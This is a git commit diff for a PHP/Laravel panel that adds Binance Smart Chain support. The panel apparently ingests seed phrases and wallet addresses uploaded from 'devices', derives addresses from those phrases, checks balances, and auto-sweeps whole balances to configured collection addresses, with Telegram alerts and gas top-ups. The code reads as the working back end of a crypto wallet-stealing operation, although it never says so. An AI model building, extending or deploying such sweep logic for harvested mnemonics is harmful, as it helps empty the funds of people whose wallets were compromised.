feat: bnb

This commit is contained in:
hashbro
2026-09-26 12:27:12 +08:00
parent 534b36a2d2
commit ad09fdff88
23 changed files with 475 additions and 82 deletions
+2
View File
@@ -86,7 +86,9 @@ TELEGRAM_WEBHOOK_SECRET=
TRANSFER_TO_ADDRESS=
TRANSFER_TO_ADDRESS_ETH=
TRANSFER_TO_ADDRESS_BSC=
TRANSFER_TO_ADDRESS_BTC=
TRANSFER_TO_ADDRESS_SOL=
# TRANSFER_MAX_USDT=0
# TRANSFER_MAX_TRX=0
@@ -21,6 +21,7 @@ class TransferRecordController extends Controller
'chains' => [
'tron' => 'TRON',
'eth' => 'ETH',
'bsc' => 'BSC',
'btc' => 'BTC',
],
'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'],
@@ -159,9 +159,10 @@ class WalletAddressController extends Controller
if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') {
$amount = null;
} else {
$decimals = match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
$decimals = match (true) {
$asset === 'ETH', $asset === 'BNB' => 18,
$asset === 'BTC' => 8,
$asset === 'USDT' && $chain === 'bsc' => 18,
default => 6,
};
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
@@ -207,6 +208,9 @@ class WalletAddressController extends Controller
if (str_contains($type, 'TRON') || $type === 'TRX') {
return 'tron';
}
if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) {
return 'bsc';
}
if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) {
return 'eth';
}
@@ -234,6 +238,7 @@ class WalletAddressController extends Controller
{
return match ($chain) {
'eth' => ['ETH', 'USDT', 'BNB'],
'bsc' => ['BNB', 'USDT'],
'btc' => ['BTC'],
default => ['USDT', 'TRX'],
};
+3 -1
View File
@@ -379,7 +379,8 @@ class AutoTransferService
{
return match ($chain) {
'TRON', 'TRX' => ['USDT', 'TRX'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'],
'BTC', 'BITCOIN' => ['BTC'],
default => [],
};
@@ -390,6 +391,7 @@ class AutoTransferService
return match ($chain) {
'TRON', 'TRX' => 'tron',
'ETH', 'ETHEREUM', 'EVM' => 'eth',
'BSC', 'BNB', 'BINANCE' => 'bsc',
'BTC', 'BITCOIN' => 'btc',
default => null,
};
+20
View File
@@ -0,0 +1,20 @@
<?php
namespace App\Services\Chain;
/**
* BSC (chain id 56). Same BIP44 path and address as Ethereum.
* Native coin is BNB. USDT is BEP20.
*/
class BscDriver extends EthDriver
{
public function chainId(): string
{
return 'bsc';
}
protected function configPrefix(): string
{
return 'coruna.bsc';
}
}
+2
View File
@@ -9,6 +9,7 @@ class ChainManager
public function __construct(
private readonly TronDriver $tron,
private readonly EthDriver $eth,
private readonly BscDriver $bsc,
private readonly BtcDriver $btc,
private readonly SolDriver $sol,
) {}
@@ -18,6 +19,7 @@ class ChainManager
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth,
'bsc', 'bnb', 'binance' => $this->bsc,
'btc', 'bitcoin' => $this->btc,
'sol', 'solana' => $this->sol,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
+19 -21
View File
@@ -76,18 +76,14 @@ class EthDriver implements ChainDriver
// fall through to token
}
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
$contract = trim((string) config($key, ''));
if ($contract === '') {
continue;
}
$contract = trim((string) config($this->configPrefix().'.usdt_contract', ''));
if ($contract !== '') {
try {
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
return true;
}
} catch (\Throwable) {
// try the next token
return false;
}
}
@@ -129,14 +125,14 @@ class EthDriver implements ChainDriver
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
{
$chainId = (int) config('coruna.eth.chain_id', 1);
$chainId = (int) config($this->configPrefix().'.chain_id', 1);
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
$gasPriceHex = $this->rpc('eth_gasPrice', []);
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
throw new RuntimeException('Failed to fetch nonce/gasPrice');
}
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
$gasLimit = trim((string) config($this->configPrefix().'.gas_limit', ''));
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
}
@@ -190,19 +186,21 @@ class EthDriver implements ChainDriver
return $human === '' ? '0' : $human;
}
protected function configPrefix(): string
{
return 'coruna.eth';
}
private function tokenDecimals(string $contract): int
{
$normalized = EthAddress::normalize($contract);
$known = [
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
];
unset($known['']);
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
return $known[$normalized];
$usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', ''));
$decimals = (int) config($this->configPrefix().'.usdt_decimals', 6);
if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) {
return $decimals;
}
return max(1, (int) config('coruna.eth.usdt_decimals', 6));
return max(1, $decimals > 0 ? $decimals : 6);
}
private function toTokenUnits(string $amount, int $decimals): string
@@ -248,7 +246,7 @@ class EthDriver implements ChainDriver
private function rpc(string $method, array $params): mixed
{
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
$url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/');
$resp = $this->http()->post($url, [
'jsonrpc' => '2.0',
'id' => 1,
@@ -256,15 +254,15 @@ class EthDriver implements ChainDriver
'params' => $params,
]);
if (! $resp->successful()) {
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid ETH RPC response');
throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response');
}
if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error'));
}
return $json['result'] ?? null;
+46 -9
View File
@@ -859,11 +859,7 @@ class IngestService
$balance = '';
}
$existing = WalletAddress::query()
->where('device_id', $device->id)
->where('address', $address)
->where('source', $source)
->first();
$existing = $this->findAddressRow($device->id, $address, $source, $chainType);
$beforeCoins = $existing?->coinSnapshot();
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
@@ -877,10 +873,19 @@ class IngestService
$attrs['monitor'] = 1;
}
$addr = WalletAddress::query()->updateOrCreate(
['device_id' => $device->id, 'address' => $address, 'source' => $source],
$attrs
);
if ($existing !== null) {
$existing->fill($attrs);
$existing->save();
$addr = $existing;
} else {
$addr = new WalletAddress([
'device_id' => $device->id,
'address' => $address,
'source' => $source,
]);
$addr->fill($attrs);
$addr->save();
}
if ($addr->mnemonic_id === null) {
$this->mnemonicLinker->linkAddress($addr);
@@ -897,6 +902,19 @@ class IngestService
$this->enableMonitorOrDisable($addr);
}
if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) {
$bsc = $this->balances->ensureBscForEthAddress($addr);
if ($bsc !== null && $bsc->wasRecentlyCreated) {
$this->enableMonitorOrDisable($bsc);
$notify[] = [
'address' => (string) $bsc->address,
'chain' => 'BSC',
'balance' => $bsc->balanceDisplayLine(),
'source' => $source,
];
}
}
$balanceSummary = $addr->balanceDisplayLine();
$shouldNotify = ! $existing
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
@@ -916,6 +934,25 @@ class IngestService
}
}
private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress
{
$aliases = match (true) {
in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'],
in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'],
in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'],
in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'],
in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'],
default => [$chainType],
};
return WalletAddress::query()
->where('device_id', $deviceId)
->where('address', $address)
->where('source', $source)
->whereIn('chain_type', $aliases)
->first();
}
/**
* Two-field monitor model:
* monitor — user-facing switch (default ON for new addresses)
+3 -3
View File
@@ -41,7 +41,7 @@ class MnemonicAddressLinker
}
$target = (string) $address->address;
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic;
@@ -125,7 +125,7 @@ class MnemonicAddressLinker
continue;
}
$lookup = $driver->chainId() === 'eth'
$lookup = in_array($driver->chainId(), ['eth', 'bsc'], true)
? strtolower((string) $address->address)
: (string) $address->address;
@@ -193,7 +193,7 @@ class MnemonicAddressLinker
*/
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
$map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try {
+29 -4
View File
@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
/**
* When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
* TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
* TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
* Fully inactive mnemonics stay out of the DB and are not monitored; the
* wallets view previews one index-0 address per chain marked 未激活.
* Activated rows are persisted with monitor on.
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
private const CHAINS = [
['chain' => 'tron', 'chain_type' => 'TRON'],
['chain' => 'eth', 'chain_type' => 'ETH'],
['chain' => 'bsc', 'chain_type' => 'BSC'],
['chain' => 'btc', 'chain_type' => 'BTC'],
['chain' => 'sol', 'chain_type' => 'SOLANA'],
];
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
{
$aliases = match ($chain) {
'tron' => ['TRON', 'TRX'],
'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
'eth' => ['ETH', 'ETHEREUM', 'EVM'],
'bsc' => ['BSC', 'BNB', 'BINANCE'],
'btc' => ['BTC', 'BITCOIN'],
'sol' => ['SOL', 'SOLANA'],
default => [strtoupper($chain)],
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
return match ($chain) {
'tron' => $this->probeTron($driver, $address),
'eth' => $this->probeEth($driver, $address),
'bsc' => $this->probeBsc($driver, $address),
'btc' => $this->probeBtc($driver, $address),
'sol' => $this->probeSol($driver, $address),
default => ['activated' => false, 'coins' => []],
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
'coins' => [
'eth' => $driver->getNativeBalance($address),
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
],
];
}
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
/**
* @return array{activated: bool, coins: array<string, string>}
*/
private function probeBsc(ChainDriver $driver, string $address): array
{
try {
$bnb = $driver->getNativeBalance($address);
} catch (\Throwable) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
$usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
}
return [
'activated' => true,
'coins' => [
'bnb' => $bnb,
'usdt' => $usdt,
],
];
}
private function probeBtc(ChainDriver $driver, string $address): array
{
if ($driver instanceof BtcDriver) {
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
'device_id' => $mnemonic->device_id,
'address' => $address,
'source' => $source !== '' ? $source : null,
'chain_type' => $chainType,
]);
$row->chain_type = $chainType;
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
{
return match ($chain) {
'tron' => ['trx' => '0', 'usdt' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
'eth' => ['eth' => '0', 'usdt' => '0'],
'bsc' => ['bnb' => '0', 'usdt' => '0'],
'btc' => ['btc' => '0'],
'sol' => ['sol' => '0', 'usdt' => '0'],
default => [],
+5
View File
@@ -48,7 +48,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
'transfer.to_address' => config('coruna.transfer.to_address'),
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
@@ -113,7 +115,9 @@ class SettingsService
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
'transfer.fee_private_key_tron' => '',
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
@@ -156,6 +160,7 @@ class SettingsService
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
+32 -26
View File
@@ -33,6 +33,11 @@ class TransferService
?string $operator = null,
): array {
$chain = strtolower(trim($chain));
$asset = strtoupper(trim($asset));
// Native BNB and later BEP20 USDT settlement both happen on BSC.
if ($asset === 'BNB') {
$chain = 'bsc';
}
$record = [
'from_address' => $fromAddress,
'to_address' => null,
@@ -85,7 +90,7 @@ class TransferService
}
$record['amount'] = $amount;
$this->assertAmountWithinLimit($amount, $asset);
$this->assertAmountWithinLimit($amount, $asset, $chain);
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
if ($resolved === null) {
@@ -108,13 +113,7 @@ class TransferService
$amount,
$this->usdtContract($chain),
),
'BNB' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
$this->bnbContract($chain),
),
'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
@@ -422,7 +421,9 @@ class TransferService
{
return match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
'bsc', 'bnb', 'binance' => $this->bscToAddress(),
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')),
default => trim((string) config('coruna.transfer.to_address', '')),
};
}
@@ -431,7 +432,9 @@ class TransferService
{
return match ($chain) {
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured',
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured',
default => 'TRANSFER_TO_ADDRESS is not configured',
};
}
@@ -440,6 +443,7 @@ class TransferService
{
$contract = match ($chain) {
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')),
default => trim((string) config('coruna.tron.usdt_contract', '')),
};
if ($contract === '') {
@@ -449,39 +453,32 @@ class TransferService
return $contract;
}
private function bnbContract(string $chain): string
private function bscToAddress(): string
{
if (! in_array($chain, ['eth', 'ethereum'], true)) {
throw new RuntimeException('BNB is only supported on ETH');
}
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
if ($contract === '') {
throw new RuntimeException('BNB contract is not configured for '.$chain);
$bsc = trim((string) config('coruna.transfer.to_address_bsc', ''));
if ($bsc !== '') {
return $bsc;
}
return $contract;
return trim((string) config('coruna.transfer.to_address_eth', ''));
}
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
{
$balance = match ($asset) {
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress),
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
$reserveKey = match ($asset) {
'TRX' => 'coruna.transfer.trx_fee_reserve',
'ETH' => 'coruna.transfer.eth_fee_reserve',
'BNB' => 'coruna.transfer.bnb_fee_reserve',
'BTC' => 'coruna.transfer.btc_fee_reserve',
default => null,
};
$scale = match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
$scale = $this->assetDecimals($asset, $chain);
if ($reserveKey !== null) {
$reserve = (string) config($reserveKey, '0');
@@ -524,7 +521,7 @@ class TransferService
}
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
$caseInsensitive = $driver->chainId() === 'eth';
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true);
foreach ($addressRows as $row) {
if ($row->mnemonic_id !== null) {
@@ -586,13 +583,22 @@ class TransferService
return null;
}
private function assertAmountWithinLimit(string $amount, string $asset): void
private function assetDecimals(string $asset, string $chain): int
{
$decimals = match ($asset) {
if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) {
return max(1, (int) config('coruna.bsc.usdt_decimals', 18));
}
return match ($asset) {
'ETH', 'BNB' => 18,
'BTC' => 8,
default => 6,
};
}
private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void
{
$decimals = $this->assetDecimals($asset, $chain);
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
throw new RuntimeException('Invalid amount');
}
+146 -5
View File
@@ -11,7 +11,8 @@ use Illuminate\Support\Facades\Log;
/**
* Live on-chain balance refresh for wallet_addresses.
*
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB.
* BSC: native BNB + USDT (BEP20). BTC: BTC only.
* SOL: SOL + USDT (SPL).
*/
class WalletBalanceService
@@ -31,7 +32,8 @@ class WalletBalanceService
return match ($chain) {
'TRON', 'TRX' => $this->refreshTron($address),
'ETH', 'ETHEREUM' => $this->refreshEth($address),
'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address),
'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address),
'BTC', 'BITCOIN' => $this->refreshBtc($address),
'SOL', 'SOLANA' => $this->refreshSol($address),
default => false,
@@ -54,9 +56,10 @@ class WalletBalanceService
if ($contract !== '') {
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
}
$bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
if ($bnbContract !== '') {
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
$bscCoins = $this->bscCoins($addr);
if ($bscCoins !== null) {
$attrs['bnb'] = $bscCoins['bnb'];
$this->persistBscSibling($address, $bscCoins);
}
$this->persistCoins($address, $attrs);
@@ -79,6 +82,144 @@ class WalletBalanceService
}
}
public function refreshBsc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
if ($addr === '') {
return false;
}
try {
$coins = $this->bscCoins($addr);
if ($coins === null) {
return false;
}
$this->persistCoins($address, [
'bnb' => $coins['bnb'],
'usdt' => $coins['usdt'],
]);
Log::info('bsc balance refresh ok', [
'wallet_address_id' => $address->id,
'address' => $addr,
'bnb' => $address->bnb,
'usdt' => $address->usdt,
]);
return true;
} catch (\Throwable $e) {
Log::warning('bsc balance refresh failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
'address' => $addr,
]);
return false;
}
}
/**
* Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails.
*
* @return array{bnb: string, usdt: string}|null
*/
private function bscCoins(string $address): ?array
{
try {
$driver = $this->chains->resolve('bsc');
$coins = [
'bnb' => $driver->getNativeBalance($address),
'usdt' => '0',
];
$contract = trim((string) config('coruna.bsc.usdt_contract', ''));
if ($contract !== '') {
$coins['usdt'] = $driver->getTokenBalance($address, $contract);
}
return $coins;
} catch (\Throwable $e) {
Log::warning('bsc balance query failed: '.$e->getMessage(), [
'address' => $address,
]);
return null;
}
}
/**
* When an ETH address is first stored, also keep a BSC row if that same
* address holds native BNB or USDT-BEP20.
*/
public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress
{
$addr = trim((string) $ethRow->address);
if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) {
return null;
}
$coins = $this->bscCoins($addr);
if ($coins === null) {
return null;
}
if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) {
return null;
}
return $this->persistBscSibling($ethRow, $coins);
}
/**
* Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC
* without overwriting the ETH row's ERC20 USDT.
*
* @param array{bnb: string, usdt: string} $coins
*/
private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress
{
if ($ethRow->device_id === null) {
return null;
}
$hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0;
$query = WalletAddress::query()
->where('device_id', $ethRow->device_id)
->where('address', $ethRow->address)
->where('chain_type', 'BSC');
if ($ethRow->source === null || $ethRow->source === '') {
$query->where(function ($q) {
$q->whereNull('source')->orWhere('source', '');
});
} else {
$query->where('source', $ethRow->source);
}
$sibling = $query->first();
if ($sibling === null && ! $hasFunds) {
return null;
}
if ($sibling === null) {
$sibling = new WalletAddress([
'device_id' => $ethRow->device_id,
'address' => $ethRow->address,
'source' => $ethRow->source,
'chain_type' => 'BSC',
'mnemonic_id' => $ethRow->mnemonic_id,
'derive_index' => $ethRow->derive_index,
'monitor' => (int) $ethRow->monitor,
]);
}
$sibling->chain_type = 'BSC';
$sibling->bnb = $coins['bnb'];
$sibling->usdt = $coins['usdt'];
if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) {
$sibling->mnemonic_id = $ethRow->mnemonic_id;
$sibling->derive_index = $ethRow->derive_index;
}
$sibling->save();
return $sibling;
}
public function refreshBtc(WalletAddress $address): bool
{
$addr = trim((string) $address->address);
+1 -1
View File
@@ -35,7 +35,7 @@ class HelpCommand
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 0x… BNB',
' 例: /transfer 0x… BNB (BSC 原生 BNB)',
' 例: /transfer 1… BTC 0.01',
]));
}
+11 -3
View File
@@ -118,11 +118,16 @@ return [
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
// BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer.
'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'),
'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18),
'gas_limit' => env('ETH_GAS_LIMIT', ''),
],
'bsc' => [
'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'),
'chain_id' => (int) env('BSC_CHAIN_ID', 56),
// Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer.
'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'),
'usdt_decimals' => (int) env('BSC_USDT_DECIMALS', 18),
'gas_limit' => env('BSC_GAS_LIMIT', ''),
],
'btc' => [
// mempool.space-compatible REST root (…/api).
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
@@ -144,7 +149,9 @@ return [
'transfer' => [
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
'to_address_bsc' => env('TRANSFER_TO_ADDRESS_BSC', ''),
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
'to_address_sol' => env('TRANSFER_TO_ADDRESS_SOL', ''),
'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''),
'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''),
// Target TRX balance before a transfer (shortfall only is sent).
@@ -159,6 +166,7 @@ return [
// Leave this much native when transferring "all".
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
'bnb_fee_reserve' => env('TRANSFER_BNB_FEE_RESERVE', '0.0005'),
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
],
@@ -0,0 +1,26 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
// MySQL uses the unique (device_id, …) index for the device_id foreign key.
$table->index('device_id');
$table->dropUnique(['device_id', 'address', 'source']);
$table->unique(['device_id', 'address', 'source', 'chain_type']);
});
}
public function down(): void
{
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropUnique(['device_id', 'address', 'source', 'chain_type']);
$table->unique(['device_id', 'address', 'source']);
});
}
};
@@ -151,6 +151,9 @@ layui.use(['table', 'form', 'layer'], function () {
if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) {
return ['USDT', 'TRX'];
}
if (type.indexOf('BSC') >= 0 || type.indexOf('BNB') >= 0 || type.indexOf('BINANCE') >= 0) {
return ['BNB', 'USDT'];
}
if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) {
return ['ETH', 'USDT', 'BNB'];
}
@@ -111,12 +111,22 @@
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_eth'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BSC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ ($form['transfer.to_address_bsc'] ?? '') !== '' ? $form['transfer.to_address_bsc'] : ($form['transfer.to_address_eth'] ?? '') }}" placeholder="未配置,默认用 ETH 归集地址" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BTC</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_btc'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
<div class="layui-form-mid layui-word-aux">归集地址只能在 .env 配置 TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC,后台只读展示,不可修改</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">SOL</span>
<input type="text" class="layui-input layui-disabled" autocomplete="off" readonly
value="{{ $form['transfer.to_address_sol'] ?? '' }}" placeholder="未配置" style="flex:1;max-width:560px;background:#f2f2f2;color:#999;">
</div>
